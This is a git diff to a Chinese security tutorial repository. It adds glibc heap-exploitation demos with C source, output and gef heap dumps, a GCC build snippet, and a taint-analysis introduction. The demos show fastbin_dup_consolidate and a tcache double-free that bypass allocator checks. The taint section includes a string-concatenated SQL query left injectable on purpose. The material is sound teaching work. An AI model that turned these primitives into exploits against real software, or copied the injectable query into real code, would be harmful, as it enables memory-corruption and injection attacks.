diff --git a/doc/3.3.6_heap_exploit_1.md b/doc/3.3.6_heap_exploit_1.md index ff0402b..a70fad8 100644 --- a/doc/3.3.6_heap_exploit_1.md +++ b/doc/3.3.6_heap_exploit_1.md @@ -5,6 +5,7 @@ - [first_fit](#first_fit) - [fastbin_dup](#fastbin_dup) - [fastbin_dup_into_stack](#fastbin_dup_into_stack) + - [fastbin_dup_consolidate](#fastbin_dup_consolidate) - [unsafe_unlink](#unsafe_unlink) - [house_of_spirit](#house_of_spirit) - [参考资料](#参考资料) @@ -317,6 +318,65 @@ previously allocated by thread T0 here: ``` 一个很明显的 double-free 漏洞。关于这类漏洞的详细利用过程,我们会在后面的章节里再讲。 +看一点新鲜的,在 libc-2.26 中,即使两次 free,也并没有触发 double-free 的异常检测,这与 tcache 机制有关,以后会详细讲述。这里先看个能够在该版本下触发 double-free 的例子: +```c +#include +#include + +int main() { + int i; + + void *p = malloc(0x40); + fprintf(stderr, "First allocate a fastbin: p=%p\n", p); + + fprintf(stderr, "Then free(p) 7 times\n"); + for (i = 0; i < 7; i++) { + fprintf(stderr, "free %d: %p => %p\n", i+1, &p, p); + free(p); + } + + fprintf(stderr, "Then malloc 8 times at the same address\n"); + int *a[10]; + for (i = 0; i < 8; i++) { + a[i] = malloc(0x40); + fprintf(stderr, "malloc %d: %p => %p\n", i+1, &a[i], a[i]); + } + + fprintf(stderr, "Finally trigger double-free\n"); + for (i = 0; i < 2; i++) { + fprintf(stderr, "free %d: %p => %p\n", i+1, &a[i], a[i]); + free(a[i]); + } +} +``` +``` +$ gcc -g tcache_double-free.c +$ ./a.out +First allocate a fastbin: p=0x559e30950260 +Then free(p) 7 times +free 1: 0x7ffc498b2958 => 0x559e30950260 +free 2: 0x7ffc498b2958 => 0x559e30950260 +free 3: 0x7ffc498b2958 => 0x559e30950260 +free 4: 0x7ffc498b2958 => 0x559e30950260 +free 5: 0x7ffc498b2958 => 0x559e30950260 +free 6: 0x7ffc498b2958 => 0x559e30950260 +free 7: 0x7ffc498b2958 => 0x559e30950260 +Then malloc 8 times at the same address +malloc 1: 0x7ffc498b2960 => 0x559e30950260 +malloc 2: 0x7ffc498b2968 => 0x559e30950260 +malloc 3: 0x7ffc498b2970 => 0x559e30950260 +malloc 4: 0x7ffc498b2978 => 0x559e30950260 +malloc 5: 0x7ffc498b2980 => 0x559e30950260 +malloc 6: 0x7ffc498b2988 => 0x559e30950260 +malloc 7: 0x7ffc498b2990 => 0x559e30950260 +malloc 8: 0x7ffc498b2998 => 0x559e30950260 +Finally trigger double-free +free 1: 0x7ffc498b2960 => 0x559e30950260 +free 2: 0x7ffc498b2968 => 0x559e30950260 +double free or corruption (fasttop) +[2] 1244 abort (core dumped) ./a.out +``` + #### fastbin_dup_into_stack ```c #include @@ -473,6 +533,178 @@ gef➤ x/5gx 0x7fffffffdc38-0x8 所以对于 fastbins,可以通过 double-free 覆盖 fastbins 的结构,来获得一个指向任意地址的指针。 +#### fastbin_dup_consolidate +```c +#include +#include +#include +#include + +int main() { + void *p1 = malloc(0x10); + void *p2 = malloc(0x10); + strcpy(p1, "AAAAAAAA"); + strcpy(p2, "BBBBBBBB"); + fprintf(stderr, "Allocated two fastbins: p1=%p p2=%p\n", p1, p2); + + fprintf(stderr, "Now free p1!\n"); + free(p1); + + void *p3 = malloc(0x400); + fprintf(stderr, "Allocated large bin to trigger malloc_consolidate(): p3=%p\n", p3); + fprintf(stderr, "In malloc_consolidate(), p1 is moved to the unsorted bin.\n"); + + free(p1); + fprintf(stderr, "Trigger the double free vulnerability!\n"); + fprintf(stderr, "We can pass the check in malloc() since p1 is not fast top.\n"); + + void *p4 = malloc(0x10); + strcpy(p4, "CCCCCCC"); + void *p5 = malloc(0x10); + strcpy(p5, "DDDDDDDD"); + fprintf(stderr, "Now p1 is in unsorted bin and fast bin. So we'will get it twice: %p %p\n", p4, p5); +} +``` +``` +$ gcc -g fastbin_dup_consolidate.c +$ ./a.out +Allocated two fastbins: p1=0x17c4010 p2=0x17c4030 +Now free p1! +Allocated large bin to trigger malloc_consolidate(): p3=0x17c4050 +In malloc_consolidate(), p1 is moved to the unsorted bin. +Trigger the double free vulnerability! +We can pass the check in malloc() since p1 is not fast top. +Now p1 is in unsorted bin and fast bin. So we'will get it twice: 0x17c4010 0x17c4010 +``` +这个程序展示了利用在 large bin 的分配中 malloc_consolidate 机制绕过 fastbin 对 double free 的检查,这个检查在 fastbin_dup 中已经展示过了,只不过它利用的是在两次 free 中间插入一次对其它 chunk 的 free。 + +首先分配两个 fast chunk: +``` +gef➤ x/15gx 0x602010-0x10 +0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk p1 +0x602010: 0x4141414141414141 0x0000000000000000 +0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk p2 +0x602030: 0x4242424242424242 0x0000000000000000 +0x602040: 0x0000000000000000 0x0000000000020fc1 <-- top chunk +0x602050: 0x0000000000000000 0x0000000000000000 +0x602060: 0x0000000000000000 0x0000000000000000 +0x602070: 0x0000000000000000 +``` +释放掉 p1,则空闲 chunk 加入到 fastbins 中: +``` +gef➤ x/15gx 0x602010-0x10 +0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk p1 [be freed] +0x602010: 0x0000000000000000 0x0000000000000000 +0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk p2 +0x602030: 0x4242424242424242 0x0000000000000000 +0x602040: 0x0000000000000000 0x0000000000020fc1 <-- top chunk +0x602050: 0x0000000000000000 0x0000000000000000 +0x602060: 0x0000000000000000 0x0000000000000000 +0x602070: 0x0000000000000000 +gef➤ heap bins fast +[ Fastbins for arena 0x7ffff7dd1b20 ] +Fastbins[idx=0, size=0x10] ← Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE) +``` +此时如果我们再次释放 p1,必然触发 double free 异常,然而,如果此时分配一个 large chunk,效果如下: +``` +gef➤ x/15gx 0x602010-0x10 +0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk p1 [be freed] +0x602010: 0x00007ffff7dd1b88 0x00007ffff7dd1b88 <-- fd, bk pointer +0x602020: 0x0000000000000020 0x0000000000000020 <-- chunk p2 +0x602030: 0x4242424242424242 0x0000000000000000 +0x602040: 0x0000000000000000 0x0000000000000411 <-- chunk p3 +0x602050: 0x0000000000000000 0x0000000000000000 +0x602060: 0x0000000000000000 0x0000000000000000 +0x602070: 0x0000000000000000 +gef➤ heap bins fast +[ Fastbins for arena 0x7ffff7dd1b20 ] +Fastbins[idx=0, size=0x10] 0x00 +gef➤ heap bins small +[ Small Bins for arena 'main_arena' ] +[+] small_bins[1]: fw=0x602000, bk=0x602000 + → Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE) +[+] Found 1 chunks in 1 small non-empty bins. +``` +可以看到 fastbins 中的 chunk 已经不见了,反而出现在了 small bins 中,并且 chunk p2 的 prev_size 和 size 字段都被修改。 + +看一下 large chunk 的分配过程: +```c + /* + If this is a large request, consolidate fastbins before continuing. + While it might look excessive to kill all fastbins before + even seeing if there is space available, this avoids + fragmentation problems normally associated with fastbins. + Also, in practice, programs tend to have runs of either small or + large requests, but less often mixtures, so consolidation is not + invoked all that often in most programs. And the programs that + it is called frequently in otherwise tend to fragment. + */ + + else + { + idx = largebin_index (nb); + if (have_fastchunks (av)) + malloc_consolidate (av); + } +``` +当分配 large chunk 时,首先根据 chunk 的大小获得对应的 large bin 的 index,接着判断当前分配区的 fast bins 中是否包含 chunk,如果有,调用 malloc_consolidate() 函数合并 fast bins 中的 chunk,并将这些空闲 chunk 加入 unsorted bin 中。因为这里分配的是一个 large chunk,所以 unsorted bin 中的 chunk 按照大小被放回 small bins 或 large bins 中。 + +由于此时 p1 已经不在 fastbins 的顶部,可以再次释放 p1: +``` +gef➤ x/15gx 0x602010-0x10 +0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk p1 [double freed] +0x602010: 0x0000000000000000 0x00007ffff7dd1b88 +0x602020: 0x0000000000000020 0x0000000000000020 <-- chunk p2 +0x602030: 0x4242424242424242 0x0000000000000000 +0x602040: 0x0000000000000000 0x0000000000000411 <-- chunk p3 +0x602050: 0x0000000000000000 0x0000000000000000 +0x602060: 0x0000000000000000 0x0000000000000000 +0x602070: 0x0000000000000000 +gef➤ heap bins fast +[ Fastbins for arena 0x7ffff7dd1b20 ] +Fastbins[idx=0, size=0x10] ← Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE) +gef➤ heap bins small +[ Small Bins for arena 'main_arena' ] +[+] small_bins[1]: fw=0x602000, bk=0x602000 + → Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE) +[+] Found 1 chunks in 1 small non-empty bins. +``` +p1 被再次放入 fastbins,于是 p1 同时存在于 fabins 和 small bins 中。 + +第一次 malloc,chunk 将从 fastbins 中取出: +``` +gef➤ x/15gx 0x602010-0x10 +0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk p1 [be freed], chunk p4 +0x602010: 0x0043434343434343 0x00007ffff7dd1b88 +0x602020: 0x0000000000000020 0x0000000000000020 <-- chunk p2 +0x602030: 0x4242424242424242 0x0000000000000000 +0x602040: 0x0000000000000000 0x0000000000000411 <-- chunk p3 +0x602050: 0x0000000000000000 0x0000000000000000 +0x602060: 0x0000000000000000 0x0000000000000000 +0x602070: 0x0000000000000000 +gef➤ heap bins fast +[ Fastbins for arena 0x7ffff7dd1b20 ] +Fastbins[idx=0, size=0x10] 0x00 +gef➤ heap bins small +[ Small Bins for arena 'main_arena' ] +[+] small_bins[1]: fw=0x602000, bk=0x602000 + → Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE) +[+] Found 1 chunks in 1 small non-empty bins. +``` +第二次 malloc,chunk 从 small bins 中取出: +``` +gef➤ x/15gx 0x602010-0x10 +0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk p4, chunk p5 +0x602010: 0x4444444444444444 0x00007ffff7dd1b00 +0x602020: 0x0000000000000020 0x0000000000000021 <-- chunk p2 +0x602030: 0x4242424242424242 0x0000000000000000 +0x602040: 0x0000000000000000 0x0000000000000411 <-- chunk p3 +0x602050: 0x0000000000000000 0x0000000000000000 +0x602060: 0x0000000000000000 0x0000000000000000 +0x602070: 0x0000000000000000 +``` +chunk p4 和 p5 在同一位置。 + #### unsafe_unlink ```c #include diff --git a/doc/4.3_gcc_arg.md b/doc/4.3_gcc_arg.md index 02b67fd..74256f3 100644 --- a/doc/4.3_gcc_arg.md +++ b/doc/4.3_gcc_arg.md @@ -1,11 +1,21 @@ # 4.3 GCC 编译参数解析 +- [GCC](#gcc) - [常用选择](#常用选项) - [Address sanitizer](#address-sanitizer) - [mcheck](#mcheck) - [参考资料](#参考资料) +## GCC +``` +$ wget -c http://www.mirrorservice.org/sites/sourceware.org/pub/gcc/releases/gcc-4.4.0/gcc-4.4.0.tar.bz2 +$ tar -xjvf gcc-4.4.0.tar.bz2 +$ ./configure +$ make && sudo make install +``` + + ## 常用选项 #### 控制标准版本的编译选项 - `-ansi`:告诉编译器遵守 C 语言的 ISO C90 标准。 diff --git a/doc/5.5_taint_analysis.md b/doc/5.5_taint_analysis.md index b9adc20..0484fa7 100644 --- a/doc/5.5_taint_analysis.md +++ b/doc/5.5_taint_analysis.md @@ -1 +1,65 @@ # 5.5 污点分析 + +- [基本原理](#基本原理) +- [方法实现](#方法实现) +- [实例分析](#实例分析) + + +## 基本原理 +污点分析是一种跟踪并分析污点信息在程序中流动的技术。在漏洞分析中,使用污点分析技术将所感兴趣的数据(通常来自程序的外部输入)标记为污点数据,然后通过跟踪和污点数据相关的信息的流向,可以知道它们是否会影响某些关键的程序操作,进而挖掘程序漏洞。即将程序是否存在某种漏洞的问题转化为污点信息是否会被 Sink 点上的操作所使用的问题。 + +污点分析常常包括以下几个部分: +- 识别污点信息在程序中的产生点(Source点)并对污点信息进行标记 +- 利用特定的规则跟踪分析污点信息在程序中的传播过程 +- 在一些关键的程序点(Sink点)检测关键的操作是否会受到污点信息的影响 + +举个例子: +``` +[...] +scanf("%d", &x); // Source 点,输入数据被标记为污点信息,并且认为变量 x 是污染的 +[...] +y = x + k; // 如果二元操作的操作数是污染的,那么操作结果也是污染的,所以变量 y 也是污染的 +[...] +x = 0; // 如果一个被污染的变量被赋值为一个常数,那么认为它是未污染的,所以 x 转变成未污染的 +[...] +while (i < y) // Sink 点,如果规定循环的次数不能受程序输入的影响,那么需要检查 y 是否被污染 +``` + +然而污点信息不仅可以通过数据依赖传播,还可以通过控制依赖传播。我们将通过数据依赖传播的信息流称为显式信息流,将通过控制依赖传播的信息流称为隐式信息流。 + +举个例子: +```c +if (x > 0) + y = 1; +else + y = 0; +``` +变量 y 的取值依赖于变量 x 的取值,如果变量 x 是污染的,那么变量 y 也应该是污染的。 + +通常我们将使用污点分析可以检测的程序漏洞称为污点类型的漏洞,例如 SQL 注入漏洞: +```java +String user = getUser(); +String pass = getPass(); +String sqlQuery = "select * from login where user='" + user + "' and pass='" + pass + "'"; +Statement stam = con.createStatement(); +ResultSetrs = stam.executeQuery(sqlQuery); +if (rs.next()) + success = true; +``` +在进行污点分析时,将变量 user 和 pass 标记为污染的,由于变量 sqlQuery 的值受到 user 和 pass 的影响,所以将 sqlQuery 也标记为污染的。程序将变量 sqlQuery 作为参数构造 SQL 操作语句,于是可以判定程序存在 SQL 注入漏洞。 + +使用污点分析检测程序漏洞的工作原理如下图所示: + +![](../pic/5.5_overview.png) + +- 基于数据流的污点分析。在不考虑隐式信息流的情况下,可以将污点分析看做针对污点数据的数据流分析。根据污点传播规则跟踪污点信息或者标记路径上的变量污染情况,进而检查污点信息是否影响敏感操作。 +- 基于依赖关系的污点分析。考虑隐式信息流,在分析过程中,根据程序中的语句或者指令之间的依赖关系,检查 Sink 点处敏感操作是否依赖于 Source 点处接收污点信息的操作。 + + +## 方法实现 +#### 基于数据流的污点分析 + +#### 基于依赖关系的污点分析 + + +## 实例分析 diff --git a/pic/5.5_overview.png b/pic/5.5_overview.png new file mode 100644 index 0000000..c5eec1e Binary files /dev/null and b/pic/5.5_overview.png differ diff --git a/src/Others/3.3.6_heap_exploit/Makefile b/src/Others/3.3.6_heap_exploit/Makefile index 0a60a90..9905c35 100644 --- a/src/Others/3.3.6_heap_exploit/Makefile +++ b/src/Others/3.3.6_heap_exploit/Makefile @@ -1,4 +1,4 @@ -PROGRAMS = fastbin_dup fastbin_dup_into_stack unsafe_unlink house_of_spirit poison_null_byte malloc_playground first_fit house_of_lore overlapping_chunks overlapping_chunks_2 house_of_force unsorted_bin_attack house_of_einherjar house_of_orange +PROGRAMS = fastbin_dup tcache_double-free fastbin_dup_into_stack fastbin_dup_consolidate unsafe_unlink house_of_spirit poison_null_byte malloc_playground first_fit house_of_lore overlapping_chunks overlapping_chunks_2 house_of_force unsorted_bin_attack house_of_einherjar house_of_orange CFLAGS += -std=c99 -g # CFLAGS += -fsanitize=address diff --git a/src/Others/3.3.6_heap_exploit/fastbin_dup_consolidate.c b/src/Others/3.3.6_heap_exploit/fastbin_dup_consolidate.c new file mode 100644 index 0000000..7e6161f --- /dev/null +++ b/src/Others/3.3.6_heap_exploit/fastbin_dup_consolidate.c @@ -0,0 +1,29 @@ +#include +#include +#include +#include + +int main() { + void *p1 = malloc(0x10); + void *p2 = malloc(0x10); + strcpy(p1, "AAAAAAAA"); + strcpy(p2, "BBBBBBBB"); + fprintf(stderr, "Allocated two fastbins: p1=%p p2=%p\n", p1, p2); + + fprintf(stderr, "Now free p1!\n"); + free(p1); + + void *p3 = malloc(0x400); + fprintf(stderr, "Allocated large bin to trigger malloc_consolidate(): p3=%p\n", p3); + fprintf(stderr, "In malloc_consolidate(), p1 is moved to the unsorted bin.\n"); + + free(p1); + fprintf(stderr, "Trigger the double free vulnerability!\n"); + fprintf(stderr, "We can pass the check in malloc() since p1 is not fast top.\n"); + + void *p4 = malloc(0x10); + strcpy(p4, "CCCCCCC"); + void *p5 = malloc(0x10); + strcpy(p5, "DDDDDDDD"); + fprintf(stderr, "Now p1 is in unsorted bin and fast bin. So we'will get it twice: %p %p\n", p4, p5); +} diff --git a/src/Others/3.3.6_heap_exploit/tcache_double-free.c b/src/Others/3.3.6_heap_exploit/tcache_double-free.c new file mode 100644 index 0000000..98305ec --- /dev/null +++ b/src/Others/3.3.6_heap_exploit/tcache_double-free.c @@ -0,0 +1,28 @@ +#include +#include + +int main() { + int i; + + void *p = malloc(0x40); + fprintf(stderr, "First allocate a fastbin: p=%p\n", p); + + fprintf(stderr, "Then free(p) 7 times\n"); + for (i = 0; i < 7; i++) { + fprintf(stderr, "free %d: %p => %p\n", i+1, &p, p); + free(p); + } + + fprintf(stderr, "Then malloc 8 times at the same address\n"); + int *a[10]; + for (i = 0; i < 8; i++) { + a[i] = malloc(0x40); + fprintf(stderr, "malloc %d: %p => %p\n", i+1, &a[i], a[i]); + } + + fprintf(stderr, "Finally trigger double-free\n"); + for (i = 0; i < 2; i++) { + fprintf(stderr, "free %d: %p => %p\n", i+1, &a[i], a[i]); + free(a[i]); + } +}